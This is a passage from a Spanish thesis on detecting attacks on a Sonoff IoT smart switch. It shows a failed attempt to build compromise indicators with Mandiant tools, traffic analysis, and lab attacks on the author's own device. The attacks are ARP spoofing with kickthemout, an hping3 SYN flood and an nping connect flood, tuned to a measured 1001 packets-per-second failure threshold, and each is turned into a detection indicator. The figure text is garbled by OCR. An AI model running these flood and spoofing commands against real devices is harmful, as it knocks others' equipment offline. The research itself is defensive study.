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Como la investigacion no arrojé un resultado positivo para los ataques planteados, se procedié a
crear indicadores para cada uno de los ataques planteados en la fase 1. Primero se instald la

herramienta gratuita ofrecida por www.fireeye.com para la creacion de indicadores de

compromiso llamada Mandiant IOCe (Figura 18).

Figura 18 : Software Mandiant 10Ce

About |OCe

EANDIANT

I10Ce

Mandiant I0Ce
Version 2.2.0.0

Copyright @ 2012 Mandiant Corporation

izit W andiant Corporation onling at wew. mandiant com

Get support at b andiant Forums

g N = T e

statement of the agreemernt between you and ©
tandiant and supersedes any proposal or prior
agreernent,  oral  or  written, and  any  other
communications between you and Mandiant relating
to the subject matter of this Agreement.

YOU ACKNOWLEDGE THAT YOU HAVE READ
THIS AGREEMENT AND UMDERSTAND IT. BY
CLICKING "I AGREE™ BELOW, YOU CONSENT TO

BE BOUND BY THESE TERMS AND CONDITIONS.

Fuente: www.fireeye.com

Esta herramienta ofrece la posibilidad de crear indicadores de compromiso teniendo en cuenta
mas de 20 criterios encontrados en los sistemas operativos. Pero como el objetivo es analisis del

ataque en la red, se encontrd una opcion que pudo haber servido para la creacion del indicador,

pero a la hora de probarlo no funciond.

La herramienta ofrece la opcion de importar una regla snort (

Figura 19), por lo tanto, eso se hizo

Figura 19 : Creacidon de indicador de compromiso en Mandiant I0Ce
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L“Snnrt Pule, double click to wiew or edit

Edit Short Rule — O )4

alert TCP any any —-=> 19Z_162.0.24 20 f{msg: "TCP Flood"; =sid:1

[ ] “word Wrap Cancel Save

Fuente: Autor

La regla utilizada en snort es la “alert TCP any any -> 192.168.0.24 80 (msg: "TCP Flood";
sid:1000001;)” (Figura 20), una regla sencilla que deberia alertarme cualquier trafico proveniente

hacia mi dispositivo en el puerto 80. El programa exporta un archivo tipo .loC

Figura 20: Indicador de compromiso exportado “Snortdos.ioc”

ovepool bt __,1 B 151 Movepool tat __,] 2635eb84-b16f-48f9-Babe-e7c1b952967d ioc £3 I BatchResultssml Ed [ snortdos.ioc E3 | inchucket_d452095(661 BeSibedial Deeb 374561 &1 0bfa7h_dik j 4 | *

<Z¥xml wersion="1.0" encoding="us-ascii"?>
[H<ioc xmlns:xsi="http:f fwww.w3.0rq/2001/¥M Schema-instance" xmlns:xsd="http:/fwww.w3.org/2001/¥M] Schema" id="2635eh84-h18£-46£9-
<short_descr1ptiDn>inlertahping3*</shart_description}
<authored date>2020-03-27T20:19:43</authored date>
<links /»
— <definicion:
% <Indicacor operacor="0OR" id="e0f94al2-4ac3-45d1-838b-eddaedBco2403">
= <IndicatorIvem id="14704715-6205-4c6d-918e-af3bajlclelf" condition="contains":>
<Context document="Snort" search="Snort/Snort" cype="mir" />
<Content cype="string":ralert TCP any any -<&<gt; 192.168.0.24 80 (msg: "TCP Flood"; =id:1000001;)</Content:>
r </ Indicator Items
- </ Indicator>
o <fdefinition>
S oo

Fuente: Autor

La forma de evaluar el indicador de compromiso creado es con otra herramienta llamada “10OC

Finder”
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Figura 21 : Herramienta IOC Finder

|OC Finder

[OC Finder is a free tool for
collecting host systermn data
and reporting the presence of
[DCs.

Fuente: www.fireeye.com

Esta herramienta es un ejecutable por consola (Figura 21), la cual pide dos pasos: recolectar
la evidencia del indicador y reportar hallazgos de acuerdo al indicador seleccionado.
Siguiendo los comandos establecidos en una guia creada en Espaiia se pudo replicar el

reporte y el diagnostico [41].

Antes de iniciar los dos pasos, se crearon dos capturas de trafico de red donde se evidencia
una denegacion de servicio mediante la modalidad de envid de paquetes tipo tcp Syn al

puerto 80 con la IP 192.168.0.24 tal como se cred en el indicador de compromiso.
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Con el comando “mandiant_ioc_finder.exe collect -d F: (Figura 22), recolectamos los logs de

trafico capturados en wireshark y Tcpdump.

Figura 22 : Command prompt windows

ershalexivOneDrivedAlexiMaestrisiSemestre 4ZSeminario 4\0bjetivo2isdl-loc-finder\IOC Finderixd>mandiant_ioc_finder

e collect -d F:
6 Setting up dependencies...
6 Starting collection...

Fuente: Autor

Lo siguiente fue generar el reporte con respecto a la recoleccion de datos que el software realizd
(Figura 23). El reporte se comparé con respecto al indicador de compromiso generado en snort, el
comando es “mandiant_ioc_finder.exe report —i snortdos.ioc —t html”, se utiliza para comparar la

recoleccion de datos con el indicador y posteriormente exportarlo a html.

Figura 23 : Reporte IOC finder
1 L

JUsers/alexi/OneDnve/Alex/Maestria/S

JObjetivo2/sdl-ioc-finder,

m

& O @

¥ oc FinDER

View by Hosts 0 host(s) contained matching hits on the searched 10Cs.

View by Indicator

L ‘T_IJ ST AT AL TIT L IS !—r e

& [ @ | file:///C:/Users/alexi/OneDrive/A

0 I0Cs(s) contained matching hits on the host audits.

Fuente: Autor
El resultado final fue un reporte en blanco indicando que no se encontré ninguna coincidencia del
indicador de compromiso y los logs generados. Lo cual deja un par de preguntas, la herramienta de

IOC Finder no fue disefiada para comparar las reglas snort o la herramienta no es capaz de analizar

las tramas de wireshark/Tcpdump.
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Como esta propuesta tampoco dio un buen resultado, se decidié replicar los ataques informaticos
definidos en la fase 1 para poder identificar los indicadores de compromiso que se ven en la red en
tiempo real. Con la capacidad de recrear los ataques podemos analizar el comportamiento de estos
para mds adelante en la fase 3 poder implementar los controles y las alertas necesarias para

mitigarlos.

Funcionamiento del smart switch

Al estudiar el funcionamiento del Smart switch se pudo observar su modelo de funcionamiento, la
arquitectura de red del Sonoff smart switch (Figura 24). Al realizar un rastreo de paquetes salientes
y entrantes al dispositivo Smart switch se observa que este se comunica con dos servidores nube

hosteados en Amazon.

Figura 24 : Arquitectura red Sonoff smart switch
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Instancias WS

54.177.85.249 13.56.143.44

I

Intelrnet

.()

>

Enrutador
192.168.0.1

-
5 @
Celular
Sonoff smart
192.168.0.21 switch

192.168.0.20

Fuente: Autor
Primero se analizé el comportamiento del celular que tiene instalada la aplicacién que administra
el dispositivo smart switch llamada “eWelink” (Figura 25). La aplicacién permite basicamente

encender o apagar el dispositivo smart switch.

Figura 25 : Aplicacion eWelink
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Al devices S

SonoffAlex : SonoffAlex

Fuente: Autor

Cuando se abre la aplicacién y se envia el comando de encendido o apagado, el celular envia esta

peticién a un servidor web (

Figura 26).

Figura 26 : Analisis de trafico celular
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[ [ip.addr==192.168.0.21 and ip.addr==54.177.85.249

No. Time  Source Destination Length port src port dest Protoi Info
481 2020.. | 54.177.85.249 - L 66 8080 35941 TCP 35941 [ACK] Seq
| 2020.. | 54 .85.24 192. 6.21 [ TCP [T( ACK 481#1]
489 202 54.177.85.249 - L TCP 35941 [PSH, ACK
| 54 1 1 TCP [TCP ransm 8|
561 2020 54.177.85.249 - TCP 35941
| = 54 = 4 = = = TCP o) _]
625 2020 54.177.85.249 - L TCP 35941 [PSH, ACK
| 2020... | 54 .85.: 192. 0.21 : TCP [TCP Retransmi ] 8
18.. 2020 54.177.85.249 - L TCP 35941 [ACK] Seq
- 18.. 2020 54.177.85.249 .168.0. TCP 35941 [PSH, ACK
5. 2020, | 54.177 .85 240 5. 168.0. 21 TCP [TCP =TT " g
192.168.0.21 54.177.85.249 TCP 35941 — 8888 [PSH, AC
: .2 5 ) TCP [TCP Retransmi 1
TCP 8088 — 35941 [ACK] Seq
2 . . 2 1 1 - 1 TCP [TCP = 1] §
Frame 2811: 316 bytes on wire (2528 bits), 316 bytes captured (2528 bits) on interface @
Ethernet II, Src: HuaweiTe_b6:5a:c6 (84:be:52:b6:5a:c6), Dst: Vmware_f6:ef:b9 (00:0c:29:f6:ef:b9)
Internet Protocol Version 4, Src: 192.168.0.21, Dst: 54.177.85.249
Transmission Control Protocol, Src Port: 35941, Dst Port: B8@80, Seq: 502, Ack: 424, Len: 250
Source Port: 35941
Destination Port: 8080

TACK] Seq

i v v v

Fuente: Autor
Al hacerle un escaneo de puerto a esta IP 54.177.85.249 se encontré que corresponde a la IP de un

servidor en la nube de Amazon (Figura 27).

Figura 27 : Escaneo IP servidor Amazon

|nnmp—T4—A—V54J?185249

ervices Nmap Output | Ports / Hosts | Topology | Host Details | Scans
J [nmap -T4 -A -v 54.177.85.249

54.177-8 Anlitldiling FdrdLLleEL UND TES0LULLON 01 L£L NOSLS5. dL 1D0:I3ZL
i | Completed Parallel DNS resolution of 12 hosts. at 16:52, 11.06s elapsed

NSE: Script scanning 54.177.85.249.
Initiating NSE at 16:52

Completed NSE at 16:52, 9.88s elapsed
Initiating NSE at 16:52

Completed NSE at 16:52._0.00s elapsed
Nmap scan report forIec2—54—177—85—249.us—west—1.compute.amazonaws.com (54.177.85.249) I
Host is up (0.13s latency).

Not shown: 994 filtered ports

PORT STATE SERVICE VERSION
80/tcp closed http

443/tcp open ssl/rtsp

Fuente: Autor
Tiene varios puertos abiertos, pero esto no fue de nuestro interés, solo nos importa saber cémo
funciona este dispositivo en la red loT.
Lo siguiente fue hacerle seguimiento al smart switch, para saber cémo le llega a este la peticién de

encender o apagar.



50 Plan de alertas basado en indicadores de compromiso para dispositivos smart

switch/plug en loT

Figura 28 : Andlisis de tréfico al smart switch

lip.addr==192.168.0.20 B[ -| Expression.

Time Destination Length port src port dest Proto Info
2020 .56. . 192.168.0.20 10753 TLS

13.96.143.44 10753 'ppllcatlon Data

192.168.0.20

192.168.0.20

192.168.

. (0] 13.56.143.44 443 TCP 10753 — 443 [ACK]
98 2020.. 192.168.0.20 13.56.143.44 251 10753 443 TLS.. Application Data |
(0]

192.168.0. 13.56.143.44 443 TCP 10753 — 443 [ACK]

192.163.0.20

421 FRIM 12 BR 142 AA 102 488 @ @ o k= d=] AA2 ANTREZ TILC Annlicatdinn Nata

Frame 87: 283 bytes on wire (2264 bits), 283 bytes captured (2264 bits) on interface @
Ethernet II, Src: Technico 57:60:e® (58:23:8c:57:60:e@), Dst: Vmware f6:ef:b3 (B0:0c:29
Internet Protocol Version 4, Src: 13.56.143.44, Dst: 192.168.0.20

Transmission Control Protocol, Src Port: 443, Dst Port: 10753, Seq: 230, Ack: 198, Len:

Source Port: 443

Fuente: Autor

Como se puede observar (Figura 28), cuando se lanza el comando desde el celular para activar el
smart switch, primero el celular envia la peticién al servidor web (54.177.85.249) y luego otro
servidor web (13.56.143.44) le reenvia la peticion al smart switch en su puerto 443 encriptado con
TLS mediante un paquete de application data.

Se procedié a escanear este otro servidor web y se encontré que también es una maquina en la
nube de AWS (Figura 29), por lo tanto, el dispositivo se comunica con dos servidores

aparentemente.
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Figura 29 : Analisis servidor web

Zenmap [ IC > ]
Scan Tools Profile Help

Target: |13.56.143.44 v | Profile: |ESEEER v | cance|
|

Comnmnd:Inmap-T4-A-v1&56J4&44

| Services| Nmap Output | Ports / Hosts | Topology = Host Details | Scans
05 |Host v | nmap-T4-A-v13.56.143.44 =

T e ey

Discovered open port 443/tcp on 13.56.143.44
Discovered open port 8@80/tcp on 13.56.143.44
Completed SYN Stealth Scan at 16:36, 10.25s elapsed (1000 total ports)
Initiating Service scan gt 16:36
Scanning 2 services on|ec2-13-56-143-44.us-west-1.compute.amazonaws.com (13.56.143.44) |
WARNING: Service 13.56.143.44:443 had already soTt-matched rtsp, but now soTt-matched sip;
ignoring second value
Service scan Timing: About 50.80% done; ETC: 16:37 (0:00:44 remaining)
WARNING: Service 13.56.143.44:8080 had already soft-matched rtsp, but now soft-matched sip;
ignoring second value
Completed Service scan at 16:37, 58.85s elapsed (2 services on 1 host)
Initiating 0S detection (try #1) against ec2-13-56-143-44.us-west-1.compute.amazonaws.com
(13.56.143.44)
Retrying 0S detection (try #2) against ec2-13-56-143-44.us-west-1.compute.amazonaws.com
| Filter Hosts | (13.56.143.44) .

Fuente: Autor

Una vez obtenida la informacion del funcionamiento del dispositivo se procedidé a realizar los

ataques informaticos definidos en la primera fase.

Indicador de Compromiso ataque de Des-autenticacion

Arquitectura red para el ataque propuesta Figura 30.

Figura 30 : Arquitectura de red ataque des autenticacion

Internet
|

Enrutador:
IP: 192.168.0.1
MAC: 58:23:8C:57.60:E0

o ' N 8
Atacante:
Ubuntu 18.04 LTS
IP: 192.168.0.17
MAC: 00:0¢:29:72:76:7¢

Sonoff smart switch:
IP:192.168.0.20
MAC: 5C:CF.7F:AT.A1:EE

Fuente: Autor
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Gracias al analisis del funcionamiento del smart switch, sabemos que, si le deshabilitamos la salida
a internet al dispositivo smart switch, entonces le realizariamos una denegacion de servicio. Aqui
es donde el ataque de desautenticacidn tiene un gran impacto pues lo que busca este ataque es

quitar a un dispositivo de la red inaldmbrica y dejarlo sin conexidn a esta.

Para aprovechar este ataque se utilizd el software llamado kickthemout, cuyo repositorio y
documentacion se puede encontrar en www,github.com [42]. Este software es de libre uso y
desarrollado para las plataformas de Linux. Lo que dicen los desarrolladores es que fue creado para
sacar a todos los dispositivos de la red wifi y quedarse con el ancho de banda para uno solo “A tool
to kick devices out of your network and enjoy all the bandwidth for yourself. It allows you to select
specific or all devices and ARP spoofs them off your local area network”.

Primero que todo se escaned la red para verificar la IP del dispositivo smart switch (Figura 31),

Figura 31 : Escaneo de red con nmap

root@ubuntu: fhomefalex/kickthemout# nmap 192.168.0.20

Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-05 21:43 PDT
Nmap scan report for 192.168.0.20

ost is up (©.058s latency).

11 1000 scanned ports on 192.168.0.20 are closed

AC Address: 5C:CF:7F:A7:Al1:EE (Espressif)

Fuente: Autor

Y efectivamente validamos que la IP del smart switch es la 192.168.0.20 toda vez tiene la direccién
MAC previamente definida. A continuacidn, iniciamos la aplicacion, con la ayuda del framework de

Python en su version 3.0 se ejecuta el comando para iniciar el software “kickthemout” (Figura 32)
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Figura 32 : Inicio de software kickthemou

root@ubuntu: /home/alex/kickthemout# sudo python3 kickthemout.py

(e.qg. 192.168.1.1): 192.163.@.1.
Fuente: Autor
Se le debe indicar al software cual es la puerta de enlace, en este caso es la 192.168.0.1 el cual

corresponde al enrutador local (Figura 33).

Figura 33 : Puerta de enlace kickthemout

root@ubuntu: /fhome/alex/kickthemout
File Edit View Search Terminal Help

S\ THE M BT

Kick Devices Off Your LAN ( )
Nikolaos Kamarinakis ( ) & David Schitz (
Version: 2.0

Using interface ' ' with MAC address '
Gateway IP: ' " --s hosts are up.

Choose an option from the menu:
Kick ONE Off

Kick SOME Off
Kick ALL Off

[E] Exit KickThemOut

ickthemout> I

Fuente: Autor
Una vez iniciado el programa aparece la informacion de mi direccion MAC, mi interfaz de salida, la

cantidad de dispositivos encontrados en la red y un dialogo al cual seleccionamos la primera opcién

(

Figura 34), quiere decir que vamos a quitar solamente a un dispositivo de la red.

Figura 34 : Seleccion de victima
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root@ubuntu: fhome falex/kickthemout

R File Edit View Search Terminal Help

selected...

Technicolor CH USA (NfA)
Technicolor USA Inc. (N/A)
Espressif Inc. (NJA)

HUAWEI TECHNOLOGIES CO.,L (NfA)
Hon Hal Precision Ind. Co (N/A)
Motorola (Wuham) Mobility (N/A)
VMware, Inc. (NfA)

Fuente: Autor
Ahora en la nueva ventana, el software muestra los dispositivos en la red, escogemos la opcion 2

toda vez este corresponde al smart switch (Figura 35).

Figura 35 : Inicio del ataque

selected...

Technicolor CH USA (N/A)
Technicolor USA Inc. (N/A)
Espressif Inc. (N/A)

HUAWEI TECHNOLOGIES CO.,L (N/A)
Hon Hai Precision Ind. Co (N/A)

Irarget: 192.168.0.20

|spoofing started...

Fuente: Autor

Como se puede evidenciar, el ataque se ejecutd, ahora revisamos mediante un capturador de
paquetes de red, en este caso wireshark (Figura 36), lo que estd ocurriendo en la red con el

dispositivo.
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Figura 36 : Captura de trafico wireshark

] |eth.addr == 00:0c:29:72:76:7c and eth.addr == 5c:cf:7f:a7:al:ee

'] Expres

0.

Time
15.849453240

Source

Destination

Protocol Lengtt Info

2166
2785
3340
3341
3346
3352
3364
3369
3376
3379

195.
199.
33z2.
342,
352.
362.
372.
3gz2.
392.
402,

Espressi_a7:al:ee
302707188 Espressi _av:al:ee

929759491 Espressi av:al:ee
227887798 are_r2:/b:icC
267125699 are_72:76:7c
306926295 are_72:76:7c
355162109 are_72:76:7c
385111881 are_72:76:7c
431180996 are_72:76:7c
467304137 are_72:76:7c
hEG886849 are_72:76:7c

e ric
Vmware_72:76:7c
Vmware 72:76:7c
Espressi_av:
Espressi_av:
Espressi_av:
Espressi_av:
Espressi_av:
Espressi_av:
Espressi_av:
Espressi_av:

al:
al:
al:
al:
al:
al:
al:
al:

Fuente: Autor

ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP

.6, f:arf:
192.168.0.20 is at 5Sc:cf:7f:af:al:ee
192.168.0.20 is at Sc:cf:7f:af:al:ee

9Z.108.08.1is at [op:6c:29:/2:/6:/c
192.168.0.1is at |@@:0c:29:72:76:7c
192.168.0.1)is at |@@:0c:29:72:76:7cC
192.168.0.1]is at|@0:0c:29:72:76:7cC
192.168.0.1)is at |@@:0c:29:72:76:7cC
192.168.0.1)is at |00:0c:29:72:76:7c
192.168.0.1is at |@@:0c:29:72:76:7c
192.168.0.1)is at |@@:0c:29:72:76:7cC

Como se puede observar, el ataque lo que hizo fue un envenenamiento de la tabla ARP del smart

switch. La maquina Linux atacante conocida como (Vmware_72:76:7c) le envié peticiones con el

protocolo ARP al smart switch (Espressi_a7:al:ee) envenenando su tabla ARP. El atacante le hace

creer al smart switch que el enrutador con la IP 192.168.0.1 estd ubicado en la direccion MAC

00:0c:29:72:76:7c, y asi engaind al smart switch para que creyera que el enrutador con la IP

192.168.0.1 ahora es el atacante Linux, de esta manera envenena la tabla ARP del smart switch

dandole informacion falsa sobre la direccion IP y MAC real del enrutador.

Figura 37 : Estado de desconexion del dispositivo

Sonoffalex

Faibed, pleas

Fuente: Autor
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Asi queda la interfaz de la aplicacidn una vez se realiza el ataque (Figura 37), esta no es capaz de
encontrar al dispositivo e indica que existen problemas en la red wifi a pesar de que el celular si se

encuentra conectado en ella.

Figura 38 : Captura de trafico wireshark con alerta

N o haad L
899 185.023355205 Technico 57:50 ed Broadcast ARP 60 Who has 192.168.0.117 Tell 192.16

8.0.1| (duplicate use of 192.168.0.1 detected!)
900 185.124300813 Technico_57:60:e0 Broadcast ARP 60 Who has 192.168.0.127 Tell 192.168.0.1|(duplicate use of 192.168.0.1 detected!)
901 185.125598043 Technico_57:60:e0 Broadcast ARP 60 Who has 192.168.0.207 Tell 192.168.0.1|(duplicate use of 192.168.0.1 detected!)
9092 185.226394669 Technico_57:60:eB Broadcast ARP 68 Who has 192.168.0.217 Tell 192.168.8.1 (ﬂuphcate use of 192.168.0.1 detecta—d')
903 185328731640 Technico 57:66:e6  Broadcast ARP 60 Who has 192.168.0.257 Tell 102.168.0.1
904 185.328749706 HonHaiPr_33:11:7d Technico_57:60:e@ ARP 60 192.168.0.25 is at fc:01:7c¢:33:11:7d (dUp o g i e
905 185.431304130 Technico_57:60:e0 Broadcast ARP 60 Who has 192.168.0.467 Tell 192.168.0.1 (dupl].cate use of 192 168 a. 1 uetectedf}
906 193.523225264 192.168.8.1 239.255.255.250 SSDP 381 NOTIFY * HTTP/1.1
907 193.527252593 192.168.68.1 239.255.255.260 S5DP 326 NOTIFY * HTTP/1.1
908 193.536220518 192.168.6.1 239.255.255.250 SSDP 317 NOTIFY * HTTP/1.1
909 193.540944966 192.168.0.1 239.255.255.250 SSDP 391 NOTIFY * HTTP/1.1

p Frame 962: 60 bytes on wire (480 tuts), 60 bytes captured (488 bits) on interface @
» Ethernet IT, Src: Technico 57:60:e@ (58: Dst: Broadcast (fF:ff:ff:ff:f
[Duplicate IP address detected '8:::5? 60:€0) - also in use by

It

. auul Es3 .
b [Expert Info (warnmg/Sequence) Duplicate IP address configured (192.168.0.1)]
[Seconds since earlier frame seen: 21]
» Address Resolution Protocol (request)

Fuente: Autor

Al revisar el trafico de red general se encontraron unas alertas dadas por el software de wireshark
(Figura 38). La alerta indica que hay un duplicado de direccion IP 192.168.0.1 la cual corresponde
al enrutador. Estos paquetes alertados en la red, con el mensaje en amarillo, correspondientes al

protocolo ARP son nuestro indicador de compromiso para poder detectar futuros ataques.

Indicador de Compromiso ataque DoS por flooding

Para la ejecucidon de este ataque se utilizé el sistema operativo de Kali Linux y se probaron

diferentes tipos de flood de trafico, todos con éxito, aqui la arquitectura de red Figura 39
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Figura 39 : Arquitectura de red

Internet

Enrutador:
IP: 192.168.0.1
MAC: 58:23:8C.:57.:60:E0

-"'it\-'fi@‘
4 }
=2 -
Ata:::a_nte: Sonoff smart switch:
Kali Linux

IP:192.168.0.20

IP: 192.1€8.0.221 MAC: 5C:CF:7F:AT:A1:EE

MAC: 00:0¢:29:f6 ef.b8

Fuente: Autor

Con base en la investigacion realizada sobre métodos para denegacidn de servicio en sistemas loT

[27] se realizd el primer ataque con el comando hping3 (Figura 40). Hping3 es una herramienta

orientada a ensamblar y analizar paquetes TCP/IP.

“hping3 -S -w 64 -p 80 --flood --rand-source 192.168.0.20”

Figura 40 : Ataque con hping3

:~# hping3 -5 -w 64 -p 80 --fTlood --rand-source 192.168.0.28
HPING 192.168.0.20 (eth® 192.168.0.28): S set, 40 headers + 0 data bytes

hping in flood mode, no replies will be shown

Fuente: Autor

Los pardmetros que se utilizaron fueron el “-S” el cual indica envié de paquetes tipo SYN, “-

significa el tamafio configurado del Windows size del paquete, “-p” indica el puerto a atacar,
I "

flood” indica el inundamiento de paquetes a gran velocidad e ilimitados y e

direcciones IP aleatorias.

7

w

“«

—rand-source” indica
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En este caso no hace falta indicar un tamafio de los paquetes enviados toda vez el smart switch
falla con el tamafio por defecto el cual es 54 bytes por paquete.

En todas las pruebas realizadas se encuentra que el switch es demasiado vulnerable a los ataques
por inundacién pues este empieza a fallar desde los primeros 1000 o incluso menos paquetes
enviados en el modo “flood”, si no se indica el modo “flood” el dispositivo funciona correctamente
y el ataque no es efectivo. Esto se debe a que el modo “flood” envia miles de paquetes por segundo

y si no se configura entonces el programa envia paquetes a la velocidad de uno por segundo.

Figura 41 : Captura de trafico del ataque hping3

No. Time | Source Destination Ler port src port d Protos Info

1 2020-05-87 04:42: .2713821083 49.86.86.174
2020-05-07 04:42115.271666102 117.144.183.. |[192.168.
2020-05-07 04:42315.271830143 94.167.245... |[192.168.
2020-05-07 04:42115.272196494 185.99.112... |[192.168.
2020-05-07 04:42115.272299822 36.104.20.94 |[192.168.
2020-05-07 04:42]15.272612521 36.134.85.125|192.168.
2020-05-07 04:42415.272738734 52.227.123... [192.168.
2020-05-07 04:42115.272870993 20.240.206... |[192.168.
9 2020-05-087 04:42115.272972454 213.72.49.192|192.168
10 2020-05-07 04:423115.273092972 4.206.181.52 [192.168
11 2020-05-07 04:423115.273203522 22.245.174.97|192.168.
12 2020-05-07 04:423115.273304706 183.112.107.. |[192.168.
13 2020-05-07 04:423115.273422481 115.19.111.31|192.168.
14 2020-05-07 04:42115.273727301 168.43.210... [192.168.

A8 2R _QAR_ QT QA A e 372030337 Jao A o2 2anliad 80

20 [54 1421| 80| TCP 1421 — 80 [[SYN]
20 |54 1422| se| Tcp 1422 - se [[SYN]
20 |54 1423| so| TcP 1423 — 80 [[SYN]
20 |54 1424| so| Tcp 1424 — 80 [[SYN]
20 |54 1425| so| TcP 1425 — 80 [[SYN]
20 |54 1426| so| TCP 1426 — 80 [[SYN]
TCP 1427 — 80 [[SYN]
20 |54 1428| so| TcP 1428 — 80 [[SYN]
20 |54 1429| so| TcP 1429 — 80 [[SYN]
20 |54 1430| se| Tcp 1430 - 8o [[SYN]
20 |54 1431| so| TcP 1431 — 80 [[SYN]
20 |54 1432| so| Tcp 1432 — 80 [[SYN]
20 |54 1433| so| TcP 1433 — 80 [[SYN]

20 _J5A 1A2A 20 TrD 1424 . an [feval

00~ O oW

ccNocNoNooNoNololoNolololBol ©
]
@
o
=
[y
I
M2
~l
2]
@

Frame 1: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface @

Ethernet II, Src: Vmware_f6:ef:b9 (80:0c:29:f6:ef:b9), Dst: Espressi_av:al:ee (5c:cf:7f:a7v:al:ee)
Internet Protocol Version 4, Src: 49.86.86.174, Dst: 192.168.0.20

Transmission Control Protocol, Src Port: 1428, Dst Port: 88, Seq: @, Len: @

Fuente: Autor
Como se puede observar en la captura (Figura 41), el intervalo de tiempo entre cada paquete
enviado son milésimas de segundo, esto es lo que causa la denegacion del servicio, la velocidad del
envid y la cantidad de paquetes enviados. Se puede observar las direcciones IP aleatorias elegidas

por hping3, el destino el cual fue el smart switch, el puerto 80 y el paquete SYN.
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Figura 42 : Aplicacidon “eWelink” sin servicio

Fuente: Autor

La aplicacién del celular no encuentra al dispositivo smart switch durante el ataque por hping3

(Figura 42), lo identifica como desconectado o apagado.

El indicador de compromiso analizado en este ataque es la velocidad con la que se envian los
paquetes, la cantidad de paquetes en un lapso de tiempo minimo, y las IP que algunas son muy

sospechosas y generan alertas.

El siguiente ataque en probarse fue también tomado de la investigacion en ataques de denegacion

de servicio [27], es con una herramienta llamada “nping” (

Figura 43). Nping es otro programa orientado a la creacién de paquetes de red, el comando

utilizado fue

“nping --tcp-connect --rate=90000 -c 9000000 -q 192.168.0.20"
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Figura 43 : Ataque con nping

:~# nping --tcp-connect --rate=90000 -c 9000000 -q 192.168.0.20

Starting Nping 0.7.70 ( https://nmap.org/nping ) at 2020-05-07 00:14 -85

“CMax rtt: N/A | Min rtt: N/A | Avg rtt: N/A

TCP connection attempts: 24095 | Successful connections: @ | Failed: 24095 (100.
00%)

Nping done: 1 IP address pinged in 14.54 seconds

Fuente: Autor

Los pardmetros utilizados “—tcp-connect” indica que se conectara con el protocolo tcp, “—
rate=90000” indica la tasa de paquetes enviados en un segundo, “-c¢” indica la cantidad total de
paquetes a enviar y “-q” indica que el programa muestre poca informacién durante su ejecucién.
Uno de los hallazgos establecidos fue que el comando no es efectivo sin el parametro de “--rate”
toda vez por defecto la cantidad de paquetes enviados por segundo es de 1 lo cual no fue suficiente
para hacer caer al dispositivo.

Al realizar varias pruebas de velocidad en la tasa de los paquetes enviados se encontré que el
dispositivo fallay se le niega su servicio es a partir de y exactamente de 1001 paquetes por segundo.
Si se configura el nping con el pardametro “—rate=1000" o menor, el comando no es capaz de
afectar el funcionamiento del smart switch, pero cuando se lanza el comando con una tasa de envio
de 1001 paquetes o mas por segundo si deja de funcionar correctamente “—rate=1001". Sin
importar la cantidad total de paquetes enviados, el dispositivo deja de funcionar es a partir de una

tasa de envio de 1001 paquetes por segundo.
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Figura 44 : Grafica ilustrando pruebas de envio por segundo
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Tras descubrir este hallazgo, se decidié hacer una grafica que ilustrara mejor el tiempo de respuesta

del smart switch contra los paquetes por segundo enviado (Figura 44). Por defecto el smart switch

responde al comando de encendido/apagado en 0.61 segundos, cuando los paquetes se acercan

cada vez mas al umbral de 1001 paquetes por segundo va disminuyendo solo un poco en su tiempo

de respuesta. Al enviar 1000 paquetes por segundo el dispositivo se retarda en responder un 59%

mas pero no se percibe toda vez el tiempo de respuesta sigue siendo inferior a un segundo. Cuando

finalmente se envian los 1001 paquetes por segundo ya no hay tiempo de respuesta puesto que el

dispositivo no responde.

Como prueba adicional se decidio realizar el ataque con una segunda maquina atacante (Figura

45), de esta manera tener dos hping3 simultaneos sobre el smart switch.
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Figura 45 : Prueba con dos atacantes

root@alex-virtual-machine: /home/alex# nping --tcp-connect --rate=501 -c 500000
-q 192.168.0.20

Starting Nping 0.7.60 ( https://nmap.org/nping ) at [2826-05-87 15:55 -85

ACMax rtt: NJA | Min rtt: NJA | Avg rtt: N/A

TCP connection attempts: 12002 | Successful connections: @ | Failed: 12002 (100
.00%)

Nping done: 1 IP address pinged in 24.11 seconds

:~# nping --tcp-connect[--rate=501|-c 500000 -q 192.168.0.20

Starting Nping ©.7.70 ( https://nmap.org/nping ) at|2020-05-87 15:55 -05

“CMax rtt: N/A | Min rtt: N/A | Avg rtt: N/A

TCP connection attempts: 8469 | Successful connections: € iled: 8469 (100.00
%)

Nping done: 1 IP address pinged in 19.81 seconds

Fuente: Autor

Se encontro que al realizar el ataque simultaneo configurando la tasa de paquetes enviados en 500
el dispositivo sigue funcionando tal como se habia aclarado en la prueba anterior (Figura 45) . Pero
cuando ambos ataques simultaneos se configuran en 501 paquetes por segundo ya el dispositivo
falla y se le niega el servicio, esto debido a que ambos ataques estan enviando 1002 paquetes por
segundo y ya habiamos descubierto que el umbral tolerable era de 1000 paquetes por segundos

enviados hacia el smart switch.

Figura 46 : Captura de trafico del ataque nping

Mo. Time Source Destination Len port src bor Protor Info
1 2020-05-07 ©5:12§11.906084455J192.168.0.221]192.168.0.20| 74 4077980 | TCP 48779 — 80 |[SYN]] Se-
2 2020-05-07 ©5:12§11.987292367 |192.168.0.221]192.168.0.20| 74 3709780 | TCP 37097 — 80 |[SYN]] Se
3 2020-05-07 ©5:12§11.987416029 |192.168.0.221]192.168.0.20| 74 4465180 | TCP 44651 — 80 |[SYN]] Se
4 2020-05-07 05:12)11.907476913 |192.168.0.221|192.168.0.20| 74 36887 |80 | TCP 36887 — 80 |[SYN]| Se
5 2020-05-07 ©5:12§11.987587925192.168.0.221]192.168.0.20| 74 44795|80 | TCP 44795 — 80 |[SYN]] Se
6 2020-05-07 ©5:12§11.907667346 |192.168.0.221]192.168.0.20| 74 4401980 | TCP 44819 -~ 80 |[SYN]] Se
7 2020-05-07 ©5:12§11.987737228 |192.168.0.221]192.168.0.20| 74 4295980 | TCP 42959 -~ 80 |[SYN]] Se
8 2020-05-07 ©5:12§11.987799265 |192.168.0.221]192.168.0.20| 74 3514580 | TCP 35145 — 80 |[SYN]] Se
9 2020-05-07 ©5:12§11.907863064 |192.168.0.221]192.168.0.20| 74 3392980 | TCP 33929 - 80 |[SYN]] Se
10 2020-05-087 05:12)11.907945496 §192.168.0.221|192.168.0.20| 74 4639180 | TCP 46391 — 80 |[SYN]] Se
11 2020-05-07 ©5:12§11.908017615 J|192.168.0.221]192.168.0.20| 74 3898980 | TCP 38989 — 80 |[SYN]] Se
